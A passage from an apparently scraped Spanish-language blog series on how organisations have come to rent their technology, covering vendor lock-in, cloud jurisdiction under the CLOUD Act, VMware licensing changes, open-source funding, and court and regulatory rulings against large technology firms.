código abierto no le puso fin El software de código abierto es software cuyo código cualquiera puede leer, usar y cambiar.\nMucha gente esperaba que resolviera esto. Resolvió una parte real, pero no la parte que pensarías.\nEl código abierto ganó. La mayor parte de internet funciona con él. El código de la mayoría de las piezas importantes está ahí para leerlo.\nLa parte difícil de irse no se fue, sin embargo, porque ya se había movido más adelante.\nPuedes leer cada línea de una base de datos. Aun así no puedes sacar fácilmente 5 años de datos del servicio gestionado que la hace funcionar.\nUn servicio gestionado es cuando un proveedor hace funcionar el software por ti, para que tú no tengas que hacerlo.\nEl código es abierto. El servicio no.\nHay un segundo punto aquí, y es justo.\nBuena parte del código abierto la mantienen voluntarios que no cobran. Las grandes empresas construyen productos sobre ese trabajo.\nEn 2024 se descubrió que una herramienta de compresión de uso extendido tenía código dañino escondido dentro. Esa herramienta la mantenía 1 persona sin cobrar. Bruce Schneier y otros lo escribieron en detalle.\nLa lección no es que el código abierto sea arriesgado. Es que el trabajo compartido en el que todos se apoyan hay que pagarlo, y a menudo no se paga.\nDónde ha acabado Junta esos pasos y llegas a donde estamos ahora.\nUn pequeño número de empresas provee los servicios de los que dependen la mayoría de las organizaciones.\nLa mayoría de esas empresas están en 1 país, los Estados Unidos.\nLa investigación reunida por el proyecto EuroStack sitúa a los proveedores no europeos en torno al 85 % del mercado europeo de la nube.\nNinguna decisión aislada hizo esto. Es el resultado de muchísimas elecciones sensatas, hechas de una en una, a lo largo de 20 años.\nEso es lo que lo hace una tendencia y no un suceso.\nQué significa para ti Nada de esto dice que el software estadounidense sea malo. Mucho de él es muy bueno, que es justo cómo llegó a todas partes.\nSí significa que 1 pregunta importa más que antes.\n¿Cuánto tiempo te costaría mudarte a un proveedor distinto?\nEse número decide bastante, y la parte 2 explica por qué.\nPublicado por primera vez: 2026-08-25. Última actualización: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/es/random/technology-you-rent/","summary":"Hace veinte años comprabas software y la copia era tuya. Ahora lo alquilas, y el proveedor pone las reglas. La parte 1 de 8 recorre cómo pasó eso, y por qué cada paso hizo más difícil irse a otra parte.","title":"Cómo la tecnología pasó a ser algo que alquilas"},{"content":"Parte 2 de 8. La parte 1 cubrió cómo el alquiler reemplazó a la compra.\nQué cubre esta entrada Cómo se fija el precio una vez que irse es difícil. Dónde se grava el beneficio. Qué ley se aplica a tus datos. Cómo las decisiones comerciales llegan a tu equipo. Qué pasa si un servicio simplemente se para. 1. El precio sigue a tu coste de salida Empieza por el que la mayoría de las organizaciones ya han tenido.\nEn 2023 Broadcom compró VMware. VMware hace el software que se usa para correr muchos servidores virtuales en 1 servidor físico.\nBroadcom dejó entonces de vender licencias permanentes. Los clientes tuvieron que pasarse a las suscripciones.\nLos precios subieron con fuerza para muchos de ellos. AT\u0026amp;T dijo en documentos judiciales que sus costes iban a subir en torno al 1 050 %.\nCISPE es una asociación sectorial de proveedores de nube europeos. Se ha quejado a la Comisión Europea por los cambios, usando cifras de tamaño parecido.\nEn marzo de 2026 CISPE se quejó otra vez, después de que se cerrara el programa europeo de socios. The Register informó de lo que los proveedores opinaron de ello.\nAquí no se ha probado nada ilegal. Las quejas todavía se están examinando.\nPero el patrón está lo bastante claro como para aprender de él.\nUna renovación es una negociación. Tu posición en ella descansa sobre 1 cosa: con qué facilidad podrías marcharte.\nSi marcharte te llevara 3 años, tienes muy poco margen para decir que no.\nY esto no va solo de proveedores estadounidenses, ojo. Cualquier proveedor en esa posición tiene la misma ventaja.\n2. Dónde se grava el beneficio El segundo coste es más difícil de ver.\nMuchas grandes empresas de tecnología venden a clientes en 1 país y contabilizan el beneficio en otro.\nA menudo la empresa local se trata como un proveedor de servicios a su matriz. La mayor parte del beneficio se va a otra parte.\nAsí que tienes grandes ventas en un país y una factura fiscal pequeña en ese país.\nTaxWatch es un grupo de investigación del Reino Unido. Calculó que 7 grandes grupos de tecnología obtuvieron cerca de 15 000 millones de libras de beneficio de clientes del Reino Unido en 2021. Estimó que sus arreglos rebajaron en torno a 2 000 millones de libras el impuesto de sociedades británico debido.\nEuropa ha ido a por estos arreglos. Los resultados son dispares, y es justo mostrar los dos lados.\nApple perdió. En septiembre de 2024 el Tribunal de Justicia de la Unión Europea confirmó que unos arreglos fiscales irlandeses eran ayuda de Estado ilegal. Irlanda recuperó en torno a 14 000 millones de euros. Amazon ganó. En diciembre de 2023 el mismo tribunal desestimó el recurso de la Comisión Europea en un caso parecido sobre Luxemburgo. Hay también un acuerdo global, llamado Pilar Dos. Fija un tipo impositivo mínimo del 15 %.\nEn enero de 2026 la Organización para la Cooperación y el Desarrollo Económicos publicó un arreglo en paralelo. Bajo él, las empresas con sede en Estados Unidos siguen las reglas de Estados Unidos en vez de la mayoría de las globales.\nAlgunos países probaron sus propios impuestos a los servicios digitales. Canadá aprobó uno, y luego lo retiró en junio de 2025 después de que Estados Unidos cancelara las conversaciones comerciales por su causa.\nAsí que el dinero se gana en un sitio. Dónde se grava se decide en otro.\n3. Qué ley se aplica Este se malinterpreta más que ningún otro, así que vale la pena ser exacto.\nMucha gente cree que mantener los datos en Europa los mantiene bajo la ley europea y nada más.\nEso no es del todo cierto. Lo que cuenta es quién controla la empresa que los guarda.\nLa CLOUD Act es una ley de Estados Unidos de 2018. Obliga a un proveedor estadounidense a entregar los datos que controla, estén donde estén esos datos. El Departamento de Justicia expone el detalle.\nAsí que a un centro de datos en Fráncfort, gestionado por una empresa de propiedad estadounidense, todavía puede llegar una orden legal de Estados Unidos.\n«Nuestros datos se quedan en Europa» y «nuestros datos están fuera de la ley de Estados Unidos» son 2 afirmaciones distintas. Los proveedores cuidadosos solo hacen la primera.\nUna orden legal sigue a quién controla la empresa, no a dónde está el edificio Centro de datos en Europa Tus datos se guardan aquí El sitio sigue la ley de la UE Empresa matriz Con sede en otro país Controla los datos opera el sitio Una orden legal llega aquí La orden no necesita ir al edificio. Va a quien controla los datos. El edificio está en Europa. La empresa que lo gestiona es de otro sitio. Una orden legal va al dueño, no al edificio. Las reglas aquí también están cambiando, en las dos direcciones.\nLa Sección 702 es una ley de vigilancia de Estados Unidos. Caducó el 2026-06-12 cuando el Congreso no la renovó.\nEso no significa que la recogida se parara. Las aprobaciones ya concedidas siguen hasta que expiran, previsto hacia marzo de 2027. El Brennan Center lleva la cuenta.\nTambién está el Marco de Privacidad de Datos UE-EE. UU. Permite que los datos personales pasen de Europa a Estados Unidos.\nUn recurso legal contra él fue desestimado en septiembre de 2025. Esa decisión está ahora recurrida.\nEl marco es ley válida hoy. También es el tercero de su clase, porque los 2 anteriores fueron anulados.\nSi un arreglo de transferencia falla, el coste cae sobre la organización europea que lo usa. En 2023 la Comisión Irlandesa de Protección de Datos multó a Meta con 1 200 millones de euros por transferencias a Estados Unidos.\nHay una respuesta serena y práctica a todo esto, y vale la pena conocerla.\nSi tu proveedor guarda las claves de tus datos, tu proveedor puede responder a una orden legal.\nGuarda tú mismo las claves y la orden tiene que venir a ti en su lugar. Por eso, la decisión queda bajo la ley de tu propio país.\n4. Las decisiones comerciales llegan a tu equipo La tecnología es parte de la política comercial ahora.\nEn enero de 2026 Estados Unidos puso un arancel del 25 % a un grupo reducido de chips de ordenador avanzados y a los productos que los contienen. Se ha señalado una segunda fase.\nSi tu propio equipo queda atrapado cambia con el tiempo. Tu proveedor es el indicado para preguntárselo.\nLas relaciones comerciales también pueden torcerse deprisa. Las conversaciones entre Estados Unidos y Canadá se rompieron el 2026-08-22, con nuevos aranceles del 50 %. Canadá anunció medidas en respuesta.\nEl Primer Ministro de Canadá expuso las razones públicamente.\nEl punto para ti es estrecho, y no descansa sobre la política de nadie.\nEl coste y la disponibilidad del equipo pueden cambiar por una decisión tomada en otro país, con poco aviso.\nConviene tenerlo en cuenta en un plan de 3 años.\n5. Un servicio puede pararse por razones que no son tuyas Este último es improbable para la mayoría de las organizaciones. Está aquí porque funciona distinto del resto.\nEn febrero de 2025 Estados Unidos puso sanciones al Fiscal de la Corte Penal Internacional.\nEl Fiscal perdió entonces el uso de su cuenta de correo de Microsoft, y se pasó a un proveedor suizo.\nEl presidente de Microsoft dijo públicamente que la empresa no cerró la cuenta. Qué pasó exactamente todavía se discute, y es justo decirlo.\nLo que no se discute es el efecto. La publicación tecnológica alemana heise lo informó como un punto de inflexión para la soberanía digital en Europa. Se planteó en el Parlamento Europeo.\nA finales de 2025 la Corte se había pasado a openDesk, una alternativa de código abierto.\nEs el mecanismo lo que importa aquí.\nNinguna factura sin pagar. Ninguna regla rota. Nada malo con el servicio.\nUn gobierno tomó una decisión, y un proveedor tuvo que averiguar qué podía seguir proveyendo legalmente.\nTu acuerdo es con tu proveedor. Los deberes legales de tu proveedor son con su propio gobierno.\nNo puedes vigilar esto. No hay una luz de aviso en un panel.\nPara la mayoría de los lectores el riesgo es pequeño, y aceptarlo es razonable. Solo es razonable si lo has pensado.\nEl patrón en los 5 Estos 5 costes son muy distintos entre sí.\nLo más probable es que te encuentres el primero. Puede que nunca te encuentres el último.\nPero comparten 1 cosa.\nCada uno de ellos empeora cuanto más difícil te sea irte.\nUna subida de precio es una molestia si tienes a dónde ir. Es seria si no lo tienes.\nEse es el hilo que atraviesa el conjunto, y apunta a algún sitio útil.\nLa pregunta que vale la pena trabajar no es en qué país está tu proveedor. Es con qué rapidez podrías cambiar de idea.\nLa parte 3 mira quién más paga por el software que usas.\nPublicado por primera vez: 2026-08-25. Última actualización: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/es/random/what-renting-costs/","summary":"Una vez que cambiar de proveedor es difícil, los costes cambian de forma. El precio sigue a tu coste de salida. El beneficio se declara en un país y se gana en otro. La ley sigue a quién posee la empresa, no a dónde está el edificio. Parte 2 de 8, en lenguaje sencillo.","title":"Lo que cuesta alquilar tu tecnología"},{"content":"Parte 3 de 8. La parte 2 expuso lo que te cuesta la dependencia.\nQué cubre esta entrada Los años en que se combatió el código abierto. Por qué paró la lucha. Quién mantiene el software en marcha hoy. Qué pasó cuando los creadores intentaron cobrar. Qué les pasa a las empresas después de ser compradas. Qué significa para ti. Los años en que se combatió el código abierto El código abierto es software cuyo código cualquiera puede leer, usar y cambiar.\nEs corriente ahora. Durante unos 15 años se trató como una amenaza.\nEn octubre de 1998 se filtró un memorándum interno de Microsoft. Eric Raymond lo publicó con notas, y se conoció como los documentos de Halloween.\nEl memorándum era honesto sobre la calidad del código abierto. Llamó notable a la forma en que miles de personas trabajan juntas en él.\nLuego expuso qué hacer al respecto. Una línea explica mucho:\nBy extending these protocols and developing new protocols, we can deny OSS projects entry into the market.\nUn protocolo es una forma acordada de que 2 sistemas se hablen.\nAsí que el plan no era construir un producto mejor. El plan era cambiar las junturas entre productos, para que no se pudiera meter un competidor.\nVarios otros pasos siguieron durante los 10 años siguientes.\nEn 2003 una empresa llamada SCO afirmó que Linux contenía código de su propiedad. El caso se alargó años y SCO no ganó. Mientras corría, muchas organizaciones no tenían claro si era seguro adoptar Linux.\nMicrosoft también firmó acuerdos de patentes con fabricantes de teléfonos móviles. Durante varios años cobró un pago por cada terminal vendido que corría Android, un sistema operativo que no había escrito.\nEn 2008 los formatos de documento de Microsoft se aprobaron como estándar internacional. Varios organismos de normalización nacionales objetaron cómo se llevó eso.\nEuropa se resistió a parte de ello. La Comisión Europea multó a Microsoft con 497 millones de euros en 2004 por información que los competidores necesitaban para trabajar con sus productos.\nMultó a la empresa con 561 millones de euros otra vez en 2013, porque un remedio acordado no se había puesto en marcha.\nEsa segunda multa merece un momento. El problema no era nuevo. El arreglo acordado simplemente no se había hecho.\nPor qué paró la lucha Paró en torno a 2014, porque no había funcionado.\nLinux se había convertido en el software con el que corren la mayoría de los servidores. También hace correr la mayoría de los servicios de nube y la mayoría de los teléfonos móviles.\nNo puedes sacar algo por los tribunales una vez que todo está construido encima.\nAsí que el enfoque dio la vuelta entera.\nMicrosoft se unió a la Linux Foundation. Publicó algunas de sus propias herramientas como código abierto. En 2018 compró GitHub, el sitio donde se escribe buena parte del código abierto del mundo.\nAmazon y Google construyeron negocios muy grandes sobre el código abierto, y las 3 empresas devuelven ahora muchísimo trabajo a él.\nEse trabajo es real, y el software es mejor por ello. Sería absurdo fingir lo contrario.\nPero 1 cosa no cambió.\nLas empresas que una vez intentaron frenar el código abierto están ahora entre sus mayores financiadores. También siguen siendo las mayores empresas del mercado.\nEl código abierto ganó el argumento técnico. No cambió quién tiene la mano más fuerte.\nQuién mantiene el software en marcha hoy Aquí está la parte que sorprende a la gente de fuera del software.\nMuchísimo código abierto de uso extendido lo mantienen equipos muy pequeños. Parte de él 1 persona, en su propio tiempo, por nada.\nEsas mismas piezas se sientan luego dentro de productos vendidos por empresas muy grandes.\nEn diciembre de 2021 apareció un fallo en Log4j, una pequeña herramienta que los programas Java usan para registrar lo que hacen.\nEl fallo dejaba a los atacantes correr su propio código en los sistemas afectados. Golpeó a una cantidad enorme de organizaciones a la vez. El Centro Nacional de Ciberseguridad del Reino Unido publicó orientación al respecto.\nLa herramienta la mantenía un pequeño grupo de voluntarios.\nLa lección no es que el código abierto sea arriesgado. La mayor parte de él es muy bueno, y abierto a inspección de un modo que el software cerrado nunca lo está.\nLa lección va de pagar las cosas. El trabajo compartido en el que se apoyan muchos negocios necesita financiación, y a menudo no la recibe.\nEste es arreglable, y algunas organizaciones sí lo arreglan. Pagar a un mantenedor, o financiar una fundación, suele ser un coste muy pequeño al lado de lo que el software te ahorra.\nQué pasó cuando los creadores intentaron cobrar Algunas empresas construyen código abierto y venden un servicio de pago alrededor de él. Eso funcionó lo bastante bien durante mucho tiempo.\nSe puso más difícil cuando los proveedores de nube empezaron a ofrecer el mismo software como un servicio propio.\nEl proveedor se llevaba los ingresos. La empresa que escribió el software no.\nVarias de ellas respondieron cambiando su licencia, para que otros no pudieran ofrecer su software como un servicio competidor.\nMongoDB cambió su licencia en 2018. Elastic siguió en 2021. HashiCorp cambió en 2023. Redis cambió en 2024. La Open Source Initiative fija la definición aceptada de código abierto. Dictaminó que 1 de estas nuevas licencias no la cumplía.\nMuchas distribuciones de Linux abandonaron entonces el software afectado.\nLa comunidad más amplia tomó copias de las últimas versiones abiertas y las siguió por separado. A una copia así se le llama un fork.\nOpenSearch continúa el código anterior de Elasticsearch. OpenTofu continúa el código anterior de Terraform. Valkey continúa el código anterior de Redis. Elastic y Redis han vuelto ambas desde entonces a licencias abiertas.\nVale la pena mirar cómo acabó eso, porque nadie de los implicados consiguió lo que buscaba.\nUna empresa construyó software útil. Una empresa más grande ganó más con él que el creador. El creador restringió la licencia para sobrevivir. La comunidad objetó, con razón, que eso ya no era código abierto. Apareció un fork, a menudo respaldado por las empresas más grandes.\nAl final de todo el software sigue siendo gratis de usar. Los forks los dirigen sobre todo los actores más grandes. El negocio que pagó por el trabajo original está más débil que cuando empezó.\nQué les pasa a las empresas después de ser compradas La segunda forma en que el valor sale de un negocio no tiene nada que ver con las licencias de software.\nVa de cómo se compra una empresa.\nAquí está el patrón, claramente.\nUn comprador pide prestada la mayor parte del precio de compra. El préstamo se garantiza luego contra la empresa que se compra. Así que la empresa acaba cargando con la deuda usada para comprarla.\nEl comprador puede entonces vender los edificios de la empresa y volverlos a alquilar. El dinero recaudado se puede repartir a los nuevos dueños. La empresa ahora paga alquiler por unos locales que antes poseía.\nLos costes que no aparecen este año se recortan. Eso suele significar mantenimiento, número de personal, investigación y desarrollo de producto.\nLuego la empresa se revende.\nEl Banco de Inglaterra ha mirado el lado de la estabilidad financiera de esto. Su revisión del capital privado señala que el endeudamiento fuerte en las compras hace a esas empresas más propensas a impagar, y deja a sus prestamistas expuestos a pérdidas. Ha seguido vigilando el sector desde entonces.\nNo todas las compras funcionan así, y muchos dueños invierten en vez de despojar. Este es un patrón que reconocer, no una descripción de todos los compradores.\nPero donde sí pasa, el resultado es el mismo cada vez.\nEl negocio solía ir bien. Lo que no iba bien era el negocio más la deuda asumida para comprarlo.\nEl mismo negocio antes y después de una compra financiada con deuda Antes Después El trabajo El mismo personal, los mismos clientes Posee sus edificios Sin deuda por ser comprado Financia el mantenimiento Financia la investigación Alquiler pagado: ninguno El trabajo El mismo personal, los mismos clientes Alquila los mismos edificios Carga con el préstamo usado para comprarlo Mantenimiento reducido Investigación reducida Alquiler pagado: cada mes comprado con dinero prestado El negocio sigue haciendo el mismo trabajo para los mismos clientes. Lo que cambió es lo que posee, y lo que ahora tiene que pagar. El mismo negocio, antes y después. El trabajo y los clientes se quedan. Los edificios y la deuda cambian de manos, y los costes de funcionamiento suben. El mismo patrón en el software Esto llegó al software hace algunos años.\nEl activo que se trabaja no es un edificio. Son los clientes que no pueden irse fácilmente.\nUn producto maduro con clientes de largo recorrido se puede revalorizar. Esos clientes no pueden moverse deprisa, y por eso la mayoría paga.\nAl mismo tiempo, el gasto en ingeniería se puede recortar. Eso tarda años en verse, y para entonces la venta ya se ha cerrado.\nLa parte 2 cubrió cómo se vio esto para los clientes de VMware.\nHay también una versión financiada por inversores en vez de por deuda. Se ha descrito lo bastante a menudo como para ganarse un nombre: enshittification, una palabra usada por el escritor canadiense Cory Doctorow desde 2022.\nCorre en 3 fases.\nEl servicio se vende por debajo de lo que cuesta hacerlo funcionar, pagado por inversores. Es barato y bueno, así que la gente se pasa a él. Una vez que la gente no puede irse fácilmente, se cambia para que convenga en su lugar a los clientes de negocio que pagan. Una vez que ambos lados están comprometidos, los términos cambian otra vez para subir el beneficio. La fase 1 es la que importa para esta serie.\nUna empresa que vende por debajo de coste durante años no está ganando porque sea mejor. Está siendo financiada para llevarse el mercado.\nLos negocios más pequeños que tienen que cubrir sus propios costes no pueden igualar ese precio. Muchos cierran.\nCuando los precios luego suben a algo sostenible, la opción que antes existía a menudo ya no está.\nQué significa para ti Dos cosas prácticas salen de esto, y las dos son bastante fáciles de hacer.\nComprueba cuántas personas mantienen en marcha tus dependencias.\nMira las herramientas sin las que tus sistemas no podrían correr. Averigua cuántas personas mantienen activamente cada una.\nSi la respuesta es 1 o 2, eso vale la pena saberlo. Quizá quieras financiar ese trabajo, guardar tu propia copia del código, o planificar qué harías si se parara.\nVigila quién posee tus proveedores.\nTus términos siguen al dueño, no al producto. Un cambio de propiedad puede mover tu renovación más que cualquier cambio en el software.\nCuando firmes, comprueba qué conservas si dejas de pagar. Comprueba si todavía puedes correr lo que ya has instalado, y si sigues recibiendo actualizaciones de seguridad.\nNinguna de las dos lleva mucho. Ambas son mucho más fáciles antes de una renovación que durante ella.\nLa parte 4 mira lo que tribunales y reguladores ya han decidido.\nPublicado por primera vez: 2026-08-25. Última actualización: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/es/random/who-pays-for-the-software/","summary":"Las 2 primeras entradas miraron lo que te cuesta la dependencia. Esta mira quién más paga la cuenta: los voluntarios que mantienen software en marcha para empresas muy grandes, y los negocios comprados, hipotecados y recortados. Parte 3 de 8, en lenguaje sencillo.","title":"Quién paga el software que usas"},{"content":"Parte 4 de 8. La parte 3 miró quién paga el software que usas.\nQué cubre esta entrada Por qué vale la pena leer el registro. Qué se ha decidido sobre Google. Qué se ha decidido sobre Apple. Qué se ha decidido sobre Amazon. Qué se ha decidido sobre Meta. El patrón en el conjunto. Por qué vale la pena leer el registro Elegir un proveedor es una predicción. Estás decidiendo cómo se comportará dentro de 3 o 5 años.\nLas declaraciones de valores de las empresas no sirven de mucho para eso. Todo el mundo tiene una, y todas dicen prácticamente lo mismo.\nLos hechos probados son mejores. Son conclusiones a las que un tribunal o un regulador llegó después de oír las pruebas.\nEso es lo que usa esta entrada. Donde existe una decisión europea, va primero.\nDos cosas antes de la lista, porque la mantienen honesta.\nNo todos los casos fueron contra las empresas. Algunos fueron contra los reguladores, y esos también están aquí.\nY esto no es una afirmación de que las empresas europeas se comporten mejor. Volkswagen y Wirecard lo zanjan bastante bien. El patrón se deduce del tamaño y de la posición en el mercado, no de dónde viene una empresa.\nGoogle La Comisión Europea llegó primero, y los casos tardaron mucho en terminar.\nEn 2017 multó a Google con 2 420 millones de euros. Halló que Google había empujado su propio servicio de comparación de compras hacia arriba en los resultados de búsqueda y a los rivales hacia abajo.\nGoogle recurrió, y el Tribunal de Justicia de la Unión Europea confirmó la decisión en septiembre de 2024.\nSon 7 años desde la multa, y más aún desde el comportamiento.\nEn 2018 la Comisión multó a Google con 4 340 millones de euros por las condiciones puestas a los fabricantes de teléfonos que querían la Play Store. La multa se rebajó luego a unos 4 100 millones de euros, y el recurso final se desestimó en 2026.\nEn 2019 la Comisión multó a Google con 1 490 millones de euros por contratos de publicidad. El Tribunal General anuló esa en 2024, al hallar que el caso no se había demostrado. El regulador la perdió.\nEn Estados Unidos, un tribunal halló en 2024 que Google había mantenido ilegalmente un monopolio en la búsqueda. En septiembre de 2025 el mismo tribunal expuso los remedios. Exigió cambios en los acuerdos por defecto y algo de compartición de datos con competidores. Se negó a hacer que Google vendiera Chrome o Android.\nUn fallo aparte de Estados Unidos en abril de 2025 halló que Google había atado ilegalmente 2 de sus productos de publicidad. Ese remedio todavía se está decidiendo.\nApple En 2021 un tribunal de Estados Unidos ordenó a Apple dejar que los desarrolladores de apps informaran a los clientes de otras formas de pagar.\nEn abril de 2025 el mismo tribunal halló que Apple no había cumplido.\nTambién halló que un alto ejecutivo de Apple había dado un testimonio que no era cierto, y que los propios documentos internos de la empresa decían lo contrario. CNBC informó del fallo en su momento.\nEl tribunal remitió el asunto a la fiscalía para que considerara un proceso por desacato penal. Apple dijo que recurriría.\nEste importa por una razón distinta del resto.\nUna empresa puede tener una visión firme de su posición legal y aun así tratar con honestidad con un tribunal. Que se halle que un testimonio no era cierto es otra cosa muy distinta.\nTu relación con un proveedor es un conjunto de promesas. Esto es prueba directa de cómo se tratan las promesas una vez que cumplirlas se vuelve caro.\nAmazon En septiembre de 2025 Amazon acordó pagar 2 500 millones de dólares para zanjar un caso presentado por la Comisión Federal de Comercio de Estados Unidos. La Comisión publicó el detalle.\nFueron 1 000 millones de dólares en sanciones y 1 500 millones de dólares de vuelta a los clientes.\nEl caso iba sobre el diseño del alta y la cancelación de Prime. La acusación era que las pantallas estaban construidas para dar de alta a personas que no habían elegido darse de alta, y para hacer que cancelar costara trabajo. La Comisión dijo que unos 35 millones de personas se vieron afectadas.\nAmazon acordó cambiar el proceso de alta y cancelación como parte del acuerdo.\nLos diseños de interfaz a esa escala se prueban y se miden antes de sacarlos — eso es práctica normal y sensata. Por eso, el efecto de un diseño suele conocerse antes de que salga.\nMeta En 2019 la Comisión Federal de Comercio de Estados Unidos impuso una sanción de 5 000 millones de dólares a Facebook por sus prácticas de privacidad, tras el caso Cambridge Analytica.\nEl asunto mayor no es una multa.\nEn 2021 una antigua empleada entregó investigación interna de la empresa a periodistas, y luego declaró ante un comité del Senado de Estados Unidos. La BBC informó de su afirmación central, que era que la empresa había puesto el beneficio por delante de la seguridad, una y otra vez.\nParte de esa investigación miraba el efecto de Instagram en usuarios adolescentes. Partes de ella volvieron preocupantes.\nMeta discrepó de cómo se describió la investigación. Dijo que los hallazgos eran más dispares de lo informado, y que la antigua empleada no había trabajado en esos equipos. La ciencia más amplia sobre esto no está zanjada, y es justo decirlo.\nUn punto no está en disputa, y es el que hay que quedarse.\nLa empresa estudió si su producto estaba dañando a un grupo de usuarios. Parte de ese trabajo volvió preocupante. Los resultados llegaron al público porque alguien los sacó del edificio.\nLa investigación que solo sale de esa forma no se parece en nada a una supervisión independiente.\nEl patrón en el conjunto Pon los casos uno al lado del otro y 4 cosas destacan. Estas importan más para planificar que cualquier caso aislado.\n1. Las sanciones son pequeñas al lado de la ganancia.\nUnos pocos miles de millones es una cifra pequeña frente a ingresos de cientos de miles de millones. Además cae años después de haberse ganado el dinero.\nCuando una sanción resulta menor que el beneficio, funciona como un coste de hacer negocios y no como un disuasorio.\n2. Los remedios llegan tarde.\nEl hueco entre el comportamiento y un remedio ejecutable va de unos 7 a 12 años en estos casos.\nLos competidores rara vez aguantan tanto. Para cuando un remedio muerde, el mercado que se suponía que protegía ya suele haber cambiado de forma.\n3. A las personas rara vez se las toca.\nLas multas las paga la empresa — así que sus accionistas — mientras que quienes aprobaron las decisiones suelen conservar su paga y su puesto.\nEso importa porque moldea el incentivo. Donde el coste cae sobre la empresa y la recompensa cae sobre la persona, la decisión parece que vale la pena para quien la toma.\n4. Los problemas se conocen dentro antes de conocerse fuera.\nEn varios de estos casos la organización tenía la información primero. Llegó al público a través de una filtración, una demanda o un regulador en su lugar.\nCuidado con lo que sacas de eso, ojo.\nNo suelen ser casos de una persona que se propone hacer daño. Un equipo mejoró una pantalla de alta contra un objetivo. Un sistema de ranking se ajustó para aumentar el uso. Un hallazgo de investigación quedó sin publicar.\nLas decisiones se reparten entre mucha gente, y cada paso parece razonable por sí solo. Eso es lo que hace el patrón tan constante, y por qué pedir a las empresas que se esfuercen más es poco probable que lo cambie.\nQué hacer con esto Úsalo para la pregunta que de verdad responde.\nDonde un proveedor tiene un interés comercial y tú no tienes una alternativa real, el registro dice que el resultado tiende a irse del lado del proveedor.\nCualquier corrección suele llegar años después, y suele costarle al proveedor menos de lo que el comportamiento ganó.\nEso no es una razón para evitar a un proveedor por el país en el que está.\nEs una buena razón para no depender de ningún proveedor del que no pudieras irte.\nLa parte 5 mira cómo la ley de un país puede alcanzar a empresas de otro.\nPublicado por primera vez: 2026-08-25. Última actualización: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/es/random/what-the-record-shows/","summary":"Elegir un proveedor significa adivinar cómo se comportará después. La base más justa para esa conjetura es lo que tribunales y reguladores ya han decidido. La parte 4 de 8 expone los fallos, incluye los casos que los reguladores perdieron, y dibuja el patrón.","title":"Lo que muestra el registro"},{"content":"Parte 5 de 8. La parte 4 miró lo que tribunales y reguladores han decidido.\nQué cubre esta entrada Ley que alcanza a empresas de otros países. Qué hizo Francia con ello. Preocupaciones más antiguas sobre información comercial. Presión aplicada a través del comercio. Suposiciones que viajan con un producto. Ley que alcanza a empresas de otros países La parte 2 explicó cómo la ley de un país puede alcanzar datos guardados por una empresa que controla.\nEl mismo principio alcanza a las empresas mismas, y los efectos pueden ser bastante mayores.\nEl ejemplo mejor documentado en Europa es Alstom, una empresa de ingeniería francesa.\nEn 2014 Alstom se declaró culpable en Estados Unidos y acordó pagar 772 millones de dólares. El caso vino bajo la Foreign Corrupt Practices Act, una ley antisoborno estadounidense. El Departamento de Justicia de Estados Unidos publicó el detalle.\nEl soborno era real. Esto no es un cuento sobre una empresa inocente.\nUn ejecutivo de Alstom también fue detenido mientras viajaba por Estados Unidos, y pasó tiempo en prisión.\nPor la misma época Alstom vendió su negocio de energía a General Electric, una empresa estadounidense.\nEl ejecutivo ha argumentado desde entonces que el caso sin resolver funcionó como presión durante esa venta. La fiscalía de Estados Unidos ha negado haber actuado para ayudar a un comprador estadounidense.\nEse desacuerdo nunca se ha zanjado, y por eso esta entrada tampoco puede zanjarlo.\nQué hizo Francia con ello Lo que sí se puede mostrar es lo que el Estado francés concluyó después.\nEn junio de 2019 un informe llegó al Primer Ministro francés. Se conoce como el informe Gauvain, y su título va sobre restablecer la soberanía francesa y europea y proteger a las empresas de leyes con alcance extraterritorial.\nExtraterritorial significa una ley que se aplica más allá de las fronteras del país que la hizo.\nEl informe halló 3 cosas que vale la pena repetir aquí.\nSe habían impuesto sanciones muy grandes, de decenas de miles de millones de dólares, a empresas francesas, europeas y otras no estadounidenses. Buena parte de la conducta tenía poca conexión directa con el territorio de Estados Unidos. Las empresas francesas no tenían herramientas legales efectivas para defenderse. También señaló que las empresas estadounidenses rara vez eran el objetivo.\nFrancia actualizó entonces su ley de bloqueo, una ley que limita qué información pueden entregar las empresas francesas a autoridades extranjeras. Una investigación parlamentaria anterior había mirado el mismo tema en 2016.\nNo tienes que tragarte cada conclusión de ese informe. Basta con que un parlamento nacional mirara la cuestión y decidiera que era un asunto de soberanía.\nPara tu propia planificación el punto es breve.\nLa exposición legal a otro país es una exposición comercial. No solo de cumplimiento.\nPreocupaciones más antiguas sobre información comercial Esta preocupación no es nueva, y vale la pena saber hasta dónde se remonta.\nEn 2001 el Parlamento Europeo publicó un informe sobre un sistema global de interceptación de comunicaciones, conocido entonces como ECHELON. El Parlamento ha publicado desde entonces un estudio que revisita ese trabajo.\nEl informe concluyó que tal sistema existía. También examinó afirmaciones de que información interceptada se había usado para ventaja comercial, incluidas empresas europeas.\nEsas afirmaciones se disputaron en su momento y siguen siendo difíciles de probar.\nLa razón para mencionarlo no es zanjarlas. Es que el Parlamento Europeo se tomó la cuestión lo bastante en serio como para hacer una investigación formal hace 25 años, y no ha desaparecido desde entonces.\nPresión aplicada a través del comercio La parte 2 cubrió los aranceles al equipo, y que Canadá retiró su impuesto a los servicios digitales después de que se cancelaran las conversaciones comerciales.\nHay un paso más que vale la pena registrar por sí solo, porque se aplica a personas y no a bienes.\nEn enero de 2026 el Departamento de Estado de Estados Unidos impuso restricciones de visado a 5 funcionarios europeos. Habían trabajado en la Ley de Mercados Digitales y la Ley de Servicios Digitales, las leyes europeas que gobiernan las grandes plataformas en línea.\nVino junto a amenazas arancelarias conectadas con la acción de aplicación europea.\nEl Centre for Strategic and International Studies lo ha descrito como usar medidas comerciales para desalentar la regulación digital.\nEl Istituto Affari Internazionali, un instituto italiano, ha mirado si la aplicación de la Ley de Mercados Digitales se está volviendo negociable como resultado.\nEsa es la pregunta abierta. Si las reglas tecnológicas europeas pueden moverse por presión comercial, la protección que te dan es menos segura de lo que el texto sugiere.\nEs justo añadir que la presión comercial es una herramienta normal del arte de gobernar, usada por muchos países incluidos los europeos. El punto aquí es sobre qué se está usando.\nSuposiciones que viajan con un producto El último punto es más callado que el resto — sin caso judicial, sin multa — y te afecta cada día.\nEl software se construye para el mercado que sus creadores conocen mejor. Las suposiciones de ese mercado viajan con él.\nAlgunas las reconocerás enseguida.\nLos ajustes de privacidad 